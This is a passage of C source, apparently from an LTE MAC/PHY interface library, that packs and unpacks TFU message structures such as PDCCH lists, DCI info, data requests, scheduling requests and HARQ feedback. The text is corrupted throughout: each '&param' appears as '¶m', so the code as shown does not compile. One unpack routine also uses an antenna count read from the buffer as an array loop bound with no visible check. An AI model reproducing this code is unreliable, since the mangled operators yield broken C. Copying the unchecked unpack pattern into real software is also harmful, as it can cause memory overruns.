cmLListInit(¶m->ulPdcchLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuPdcchInfo), (Ptr *)&tfuPdcchInfo);
CMCHKUNPK(cmUnpkTfuPdcchInfo, tfuPdcchInfo, mBuf);
cmLListAdd2Tail(¶m->ulPdcchLst, &tfuPdcchInfo->lnk);
tfuPdcchInfo->lnk.node = (PTR)tfuPdcchInfo;
}
cmLListInit(¶m->dlPdcchLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuPdcchInfo), (Ptr *)&tfuPdcchInfo);
CMCHKUNPK(cmUnpkTfuPdcchInfo, tfuPdcchInfo, mBuf);
cmLListAdd2Tail(¶m->dlPdcchLst, &tfuPdcchInfo->lnk);
tfuPdcchInfo->lnk.node = (PTR)tfuPdcchInfo;
}
cmLListInit(¶m->phichLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuPhichInfo), (Ptr *)&tfuPhichInfo);
CMCHKUNPK(cmUnpkTfuPhichInfo, tfuPhichInfo, mBuf);
cmLListAdd2Tail(¶m->phichLst, &tfuPhichInfo->lnk);
tfuPhichInfo->lnk.node = (PTR)tfuPhichInfo;
}
#ifdef LTEMAC_SPS /* SPS_NEW_CHGS */
CMCHKUNPK(cmUnpkBool, ¶m->isSPSOcc, mBuf);
#endif
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuPdschDciInfo
*
*
* Desc : This structure Carries the control information that would be needed
* by the Physical layer to process the data to be sent on PDSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuPdschDciInfo
(
TfuPdschDciInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuPdschDciInfo(param, mBuf)
TfuPdschDciInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuPdschDciInfo)
switch(param->format) {
case TFU_DCI_FORMAT_2A:
CMCHKPK(cmPkTfuDciFormat2AAllocInfo, ¶m->u.format2AAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_2:
CMCHKPK(cmPkTfuDciFormat2AllocInfo, ¶m->u.format2AllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1D:
CMCHKPK(cmPkTfuDciFormat1dAllocInfo, ¶m->u.format1dAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1C:
CMCHKPK(cmPkTfuDciFormat1cInfo, ¶m->u.format1cAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1B:
CMCHKPK(cmPkTfuDciFormat1bAllocInfo, ¶m->u.format1bAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1A:
CMCHKPK(cmPkTfuDciFormat1aAllocInfo, ¶m->u.format1aAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1:
CMCHKPK(cmPkTfuDciFormat1AllocInfo, ¶m->u.format1AllocInfo, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->format, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuPdschDciInfo
*
*
* Desc : This structure Carries the control information that would be needed
* by the Physical layer to process the data to be sent on PDSCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuPdschDciInfo
(
TfuPdschDciInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuPdschDciInfo(param, mBuf)
TfuPdschDciInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuPdschDciInfo)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->format, mBuf);
switch(param->format) {
case TFU_DCI_FORMAT_1:
CMCHKUNPK(cmUnpkTfuDciFormat1AllocInfo, ¶m->u.format1AllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1A:
CMCHKUNPK(cmUnpkTfuDciFormat1aAllocInfo, ¶m->u.format1aAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1B:
CMCHKUNPK(cmUnpkTfuDciFormat1bAllocInfo, ¶m->u.format1bAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1C:
CMCHKUNPK(cmUnpkTfuDciFormat1cInfo, ¶m->u.format1cAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_1D:
CMCHKUNPK(cmUnpkTfuDciFormat1dAllocInfo, ¶m->u.format1dAllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_2:
CMCHKUNPK(cmUnpkTfuDciFormat2AllocInfo, ¶m->u.format2AllocInfo, mBuf);
break;
case TFU_DCI_FORMAT_2A:
CMCHKUNPK(cmUnpkTfuDciFormat2AAllocInfo, ¶m->u.format2AAllocInfo, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
#ifdef TFU_UPGRADE
/***********************************************************
*
* Func : cmPkTfuBfVectorInfo
*
*
* Desc : This structure conveys the BeamForming Vector
* Information that hold relevance to Tx Mode 7
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuBfVectorInfo
(
TfuBfVectorInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuBfVectorInfo(param, mBuf)
TfuBfVectorInfo *param;
Buffer *mBuf;
#endif
{
S32 idx, idx2;
TRC3(cmPkTfuBfVectorInfo)
for(idx=TFU_MAX_DL_SUBBAND-1;idx>=0; idx--)
{
for (idx2=param->numPhyAnt -1; idx2 >= 0; idx2--) {
CMCHKPK(SPkU16, param->bfValue[idx2], mBuf);}
CMCHKPK(SPkU8, param->numPhyAnt, mBuf);
CMCHKPK(SPkU8, param->sbIndex, mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuBfVectorInfo
*
*
* Desc : This structure conveys the BeamForming Vector
* Information that hold relevance to Tx Mode 7
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuBfVectorInfo
(
TfuBfVectorInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuBfVectorInfo(param, mBuf)
TfuBfVectorInfo *param;
Buffer *mBuf;
#endif
{
S32 idx, idx2;
TRC3(cmUnpkTfuBfVectorInfo)
for(idx=0;idx<TFU_MAX_DL_SUBBAND; idx++)
{
CMCHKUNPK(SUnpkU8, ¶m->sbIndex, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numPhyAnt, mBuf);
for (idx2=0; idx2 <param->numPhyAnt; idx2++) {
CMCHKUNPK(SUnpkU16, ¶m->bfValue[idx2], mBuf);}
}
RETVALUE(ROK);
}
#endif
/***********************************************************
*
* Func : cmPkTfuDatReqPduInfo
*
*
* Desc : Pack Function for Tfu Dat Req PDU.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDatReqPduInfo
(
TfuDatReqPduInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDatReqPduInfo(param, mBuf)
TfuDatReqPduInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
U8 tbMask = 0;
#ifdef L2_OPTMZ
U32 lchIdx, pduIdx;
#endif
TRC3(cmPkTfuDatReqPduInfo)
/* LTE_ADV_FLAG_REMOVED_START */
CMCHKPK(SPkU8, param->isEnbSFR, mBuf);
/* LTE_ADV_FLAG_REMOVED_END */
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
#ifdef TFU_UPGRADE
CMCHKPK(SPkU16, param->txPwrOffset, mBuf);
if(param->transMode == TFU_UE_TM_7)
{
CMCHKPK(cmPkTfuBfVectorInfo, param->bfVector, mBuf);
CMCHKPK(SPkU8, param->numBfVectors, mBuf);
CMCHKPK(SPkU8, param->numBfPrbPerSb, mBuf);
}
CMCHKPK(SPkU8, param->deltaPowOffIdx, mBuf);
/* LTE_ADV_FLAG_REMOVED_START */
CMCHKPK(SPkU8, param->pa, mBuf);
/* LTE_ADV_FLAG_REMOVED_END */
CMCHKPK(SPkU8, param->numLayers, mBuf);
#endif
CMCHKPK(cmPkBool, param->isTApres, mBuf);
CMCHKPK(cmPkTknU32, ¶m->doa, mBuf);
CMCHKPK(SPkU32, param->transMode, mBuf);
CMCHKPK(cmPkTfuDlCqiPuschInfo, ¶m->puschPmiInfo, mBuf);
CMCHKPK(SPkU8, param->puschRptUsd, mBuf);
for (i = 0; i < TFU_MAX_TB; i++)
{
#ifndef L2_OPTMZ
if (param->mBuf[i] != NULLP)
{
tbMask = tbMask | (1 << i);
}
#else /* L2_OPTMZ */
for(lchIdx = 0; lchIdx < param->tbInfo[i].numLch; lchIdx++)
{
for(pduIdx = 0; pduIdx < param->tbInfo[i].lchInfo[lchIdx].numPdu;
pduIdx++)
{
if (param->tbInfo[i].lchInfo[lchIdx].mBuf[pduIdx] != NULLP)
{
tbMask = tbMask | (1 << i);
}
}
}
#endif /* L2_OPTMZ */
}
/* tfu_c_001.main_2: Packing should consider nmbOfTBs.*/
for (i=TFU_MAX_TB - 1; i >= 0; i--) {
#ifndef L2_OPTMZ
if (param->mBuf[i] != NULLP)
{
CMCHKPK(cmPkBuffer, ¶m->mBuf[i], mBuf);
}
#else
// CMCHKPK(cmPkBuffer, ¶m->tbInfo[i].macPad, mBuf);
for(lchIdx = 0; lchIdx < param->tbInfo[i].numLch; lchIdx++)
{
for(pduIdx = 0; pduIdx < param->tbInfo[i].lchInfo[lchIdx].numPdu;
pduIdx++)
{
CMCHKPK(cmPkBuffer, ¶m->tbInfo[i].lchInfo[lchIdx].mBuf[pduIdx],
mBuf);
}
CMCHKPK(SPkU32, param->tbInfo[i].lchInfo[lchIdx].numPdu, mBuf);
}
CMCHKPK(SPkU32, param->tbInfo[i].numLch, mBuf);
CMCHKPK(SPkU32, param->tbInfo[i].padSize, mBuf);
CMCHKPK(cmPkBuffer, ¶m->tbInfo[i].macCes, mBuf);
CMCHKPK(cmPkBuffer, ¶m->tbInfo[i].macHdr, mBuf);
CMCHKPK(cmPkMsgLen, param->tbInfo[i].tbSize, mBuf);
CMCHKPK(cmPkBool, param->tbInfo[i].tbPres, mBuf);
#endif
}
CMCHKPK(SPkU8, tbMask, mBuf);
CMCHKPK(SPkU8, param->nmbOfTBs, mBuf);
CMCHKPK(cmPkTfuPdschDciInfo, ¶m->dciInfo, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDatReqPduInfo
*
*
* Desc : UnPack function for Tfu Dat req pdu .
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDatReqPduInfo
(
TfuDatReqPduInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDatReqPduInfo(param, mBuf)
TfuDatReqPduInfo *param;
Buffer *mBuf;
#endif
{
U8 i;
U8 tbMask = 0;
#ifdef L2_OPTMZ
U32 lchIdx, pduIdx;
#endif
TRC3(cmUnpkTfuDatReqPduInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(cmUnpkTfuPdschDciInfo, ¶m->dciInfo, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nmbOfTBs, mBuf);
CMCHKUNPK(SUnpkU8, &tbMask, mBuf);
for (i=0; i<TFU_MAX_TB; i++) {
#ifndef L2_OPTMZ
if (tbMask & (1<<i))
{
CMCHKUNPK(cmUnpkBuffer, ¶m->mBuf[i], mBuf);
}
else
{
param->mBuf[i] = NULLP;
}
#else /* L2_OPTMZ*/
CMCHKUNPK(cmUnpkBool, ¶m->tbInfo[i].tbPres, mBuf);
CMCHKUNPK(cmUnpkMsgLen, ¶m->tbInfo[i].tbSize, mBuf);
CMCHKUNPK(cmUnpkBuffer, ¶m->tbInfo[i].macHdr, mBuf);
CMCHKUNPK(cmUnpkBuffer, ¶m->tbInfo[i].macCes, mBuf);
CMCHKUNPK(SUnpkU32, ¶m->tbInfo[i].padSize, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->tbInfo[i].numLch, mBuf);
for(lchIdx = 0; lchIdx < param->tbInfo[i].numLch; lchIdx++)
{
CMCHKUNPK(SUnpkU32, (U32 *)¶m->tbInfo[i].lchInfo[lchIdx].numPdu,
mBuf);
for(pduIdx = 0; pduIdx < param->tbInfo[i].lchInfo[lchIdx].numPdu;
pduIdx++)
{
if (tbMask & (1<<i))
{
CMCHKUNPK(cmUnpkBuffer, ¶m->tbInfo[i].lchInfo[lchIdx].\
mBuf[pduIdx], mBuf);
}
else
{
param->tbInfo[i].lchInfo[lchIdx].mBuf[pduIdx] = NULLP;
}
}
}
//CMCHKUNPK(cmUnpkBuffer, ¶m->tbInfo[i].macPad, mBuf);
#endif /* L2_OPTMZ*/
}
CMCHKUNPK(SUnpkU8, ¶m->puschRptUsd, mBuf);
CMCHKUNPK(cmUnpkTfuDlCqiPuschInfo, ¶m->puschPmiInfo, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->transMode, mBuf);
CMCHKUNPK(cmUnpkTknU32, ¶m->doa, mBuf);
CMCHKUNPK(cmUnpkBool, ¶m->isTApres, mBuf);
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
#ifdef TFU_UPGRADE
CMCHKUNPK(SUnpkU8, ¶m->numLayers, mBuf);
/* LTE_ADV_FLAG_REMOVED_START */
CMCHKUNPK(SUnpkU8, ¶m->pa, mBuf);
/* LTE_ADV_FLAG_REMOVED_END */
CMCHKUNPK(SUnpkU8, ¶m->deltaPowOffIdx, mBuf);
if(param->transMode == TFU_UE_TM_7)
{
CMCHKUNPK(SUnpkU8, ¶m->numBfPrbPerSb, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numBfVectors, mBuf);
CMCHKUNPK(cmUnpkTfuBfVectorInfo, param->bfVector, mBuf);
}
CMCHKUNPK(SUnpkU16, ¶m->txPwrOffset, mBuf);
#endif
/* LTE_ADV_FLAG_REMOVED_START */
CMCHKUNPK(SUnpkU8, ¶m->isEnbSFR, mBuf);
/* LTE_ADV_FLAG_REMOVED_END */
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDatReqInfo
*
*
* Desc : This structure contains the Data PDUs
* @details This structure contains Data meant to be sent on both PBCH and
* PDSCH. Control information necessary for processing of the data is sent along
* with the Data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDatReqInfo
(
TfuDatReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDatReqInfo(param, mBuf)
TfuDatReqInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuDatReqPduInfo *tfuDatReqPduInfo;
TRC3(cmPkTfuDatReqInfo)
count = param->pdus.count;
node = param->pdus.last;
while (node) {
tfuDatReqPduInfo = (TfuDatReqPduInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuDatReqPduInfo, tfuDatReqPduInfo, mBuf);
cmLListDelFrm(¶m->pdus, &tfuDatReqPduInfo->lnk);
tfuDatReqPduInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkTknBuf, ¶m->bchDat, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDatReqInfo
*
*
* Desc : This structure contains the Data PDUs
* @details This structure contains Data meant to be sent on both PBCH and
* PDSCH. Control information necessary for processing of the data is sent along
* with the Data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDatReqInfo
(
TfuDatReqInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDatReqInfo(param, memCp, mBuf)
TfuDatReqInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuDatReqPduInfo *tfuDatReqPduInfo;
TRC3(cmUnpkTfuDatReqInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKUNPK(cmUnpkTknBuf, ¶m->bchDat, &mBuf);
cmLListInit(¶m->pdus);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuDatReqPduInfo), (Ptr *)&tfuDatReqPduInfo);
CMCHKUNPK(cmUnpkTfuDatReqPduInfo, tfuDatReqPduInfo, mBuf);
cmLListAdd2Tail(¶m->pdus, &tfuDatReqPduInfo->lnk);
tfuDatReqPduInfo->lnk.node = (PTR)tfuDatReqPduInfo;
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDatInfo
*
*
* Desc : This structure contains the Data PDU and the RNTI of the UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDatInfo
(
TfuDatInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDatInfo(param, mBuf)
TfuDatInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDatInfo)
CMCHKPK(cmPkBuffer, ¶m->mBuf, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDatInfo
*
*
* Desc : This structure contains the Data PDU and the RNTI of the UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDatInfo
(
TfuDatInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDatInfo(param, mBuf)
TfuDatInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDatInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(cmUnpkBuffer, ¶m->mBuf, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDatIndInfo
*
*
* Desc : This structure contains the Data PDUs received at Physical Layer.
* @details All the PDUs received by Physical layer in one subframe are clubbed
* together into a single data structure and sent to MAC for processing.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDatIndInfo
(
TfuDatIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDatIndInfo(param, mBuf)
TfuDatIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuDatInfo *tfuDatInfo;
TRC3(cmPkTfuDatIndInfo)
count = param->datIndLst.count;
node = param->datIndLst.last;
while (node) {
tfuDatInfo = (TfuDatInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuDatInfo, tfuDatInfo, mBuf);
cmLListDelFrm(¶m->datIndLst, &tfuDatInfo->lnk);
tfuDatInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDatIndInfo
*
*
* Desc : This structure contains the Data PDUs received at Physical Layer.
* @details All the PDUs received by Physical layer in one subframe are clubbed
* together into a single data structure and sent to MAC for processing.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDatIndInfo
(
TfuDatIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDatIndInfo(param, memCp, mBuf)
TfuDatIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuDatInfo *tfuDatInfo;
TRC3(cmUnpkTfuDatIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->datIndLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuDatInfo), (Ptr *)&tfuDatInfo);
CMCHKUNPK(cmUnpkTfuDatInfo, tfuDatInfo, mBuf);
cmLListAdd2Tail(¶m->datIndLst, &tfuDatInfo->lnk);
tfuDatInfo->lnk.node = (PTR)tfuDatInfo;
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuSrInfo
*
*
* Desc : This structure contains the SR indication for a UE, identified by
* the given RNTI. The structure also contains a PUCCH Delta power, that is
* calculated by the physical layer, and is used by the scheduler for Power
* control of the UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSrInfo
(
TfuSrInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSrInfo(param, mBuf)
TfuSrInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuSrInfo)
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuSrInfo
*
*
* Desc : This structure contains the SR indication for a UE, identified by
* the given RNTI. The structure also contains a PUCCH Delta power, that is
* calculated by the physical layer, and is used by the scheduler for Power
* control of the UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSrInfo
(
TfuSrInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSrInfo(param, mBuf)
TfuSrInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuSrInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuSrIndInfo
*
*
* Desc : This structure contains all the Scheduling Requests (SR) indications
* received in a subframe.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSrIndInfo
(
TfuSrIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSrIndInfo(param, mBuf)
TfuSrIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuSrInfo *tfuSrInfo;
TRC3(cmPkTfuSrIndInfo)
count = param->srLst.count;
node = param->srLst.last;
while (node) {
tfuSrInfo = (TfuSrInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuSrInfo, tfuSrInfo, mBuf);
cmLListDelFrm(¶m->srLst, &tfuSrInfo->lnk);
tfuSrInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuSrIndInfo
*
*
* Desc : This structure contains all the Scheduling Requests (SR) indications
* received in a subframe.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSrIndInfo
(
TfuSrIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSrIndInfo(param, memCp, mBuf)
TfuSrIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuSrInfo *tfuSrInfo;
TRC3(cmUnpkTfuSrIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->srLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuSrInfo), (Ptr *)&tfuSrInfo);
CMCHKUNPK(cmUnpkTfuSrInfo, tfuSrInfo, mBuf);
cmLListAdd2Tail(¶m->srLst, &tfuSrInfo->lnk);
tfuSrInfo->lnk.node = (PTR)tfuSrInfo;
}
RETVALUE(ROK);
}
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
/***********************************************************
*
* Func : cmPkTfuHqInfo
*
*
* Desc : This structure contains the HARQ feedback for a single UE.
* @details RNTI is present to identify the UE.
* For FDD a single feedback is present.
* For TDD HARQ multiplexing a list of HARQ feedbacks is present.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuHqInfo
(
TfuHqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuHqInfo(param, mBuf)
TfuHqInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuHqInfo)
CMCHKPK(SPkU8, param->isPusch, mBuf);
for (i=TFU_MAX_HARQ_FDBKS-1; i >= 0; i--) {
CMCHKPK(SPkU32, param->isAck[i], mBuf);
}
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->M, mBuf);
#endif/*TFU_TDD*/
CMCHKPK(SPkU8, param->noOfTbs, mBuf);
/* ACC-TDD ccpu00130520 */
CMCHKPK(SPkU32, param->hqFdbkMode, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
/***********************************************************
*
* Func : cmUnpkTfuHqInfo
*
*
* Desc : This structure contains the HARQ feedback for a single UE.
* @details RNTI is present to identify the UE.
* For FDD a single feedback is present.
* For TDD HARQ multiplexing a list of HARQ feedbacks is present.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuHqInfo
(
TfuHqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuHqInfo(param, mBuf)
TfuHqInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuHqInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
/* ACC-TDD ccpu00130520 */
CMCHKUNPK(SUnpkU32, (U32 *)¶m->hqFdbkMode, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->noOfTbs, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->M, mBuf);
#endif
for (i=0; i<TFU_MAX_HARQ_FDBKS; i++) {
CMCHKUNPK(SUnpkU32, (U32 *)¶m->isAck[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->isPusch, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuHqIndInfo
*
*
* Desc : This structure contains a list of HARQ feedback for a number of UEs.
* @details All the HARQ feedback received in the subframe are clubbed together
* in this data structure and given to the scheduler for processing.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuHqIndInfo
(
TfuHqIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuHqIndInfo(param, mBuf)
TfuHqIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuHqInfo *tfuHqInfo;
TRC3(cmPkTfuHqIndInfo)
count = param->hqIndLst.count;
node = param->hqIndLst.last;
while (node) {
tfuHqInfo = (TfuHqInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuHqInfo, tfuHqInfo, mBuf);
cmLListDelFrm(¶m->hqIndLst, &tfuHqInfo->lnk);
tfuHqInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuHqIndInfo
*
*
* Desc : This structure contains a list of HARQ feedback for a number of UEs.
* @details All the HARQ feedback received in the subframe are clubbed together
* in this data structure and given to the scheduler for processing.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuHqIndInfo
(
TfuHqIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuHqIndInfo(param, memCp, mBuf)
TfuHqIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuHqInfo *tfuHqInfo;
TRC3(cmUnpkTfuHqIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->hqIndLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuHqInfo), (Ptr *)&tfuHqInfo);
CMCHKUNPK(cmUnpkTfuHqInfo, tfuHqInfo, mBuf);
cmLListAdd2Tail(¶m->hqIndLst, &tfuHqInfo->lnk);
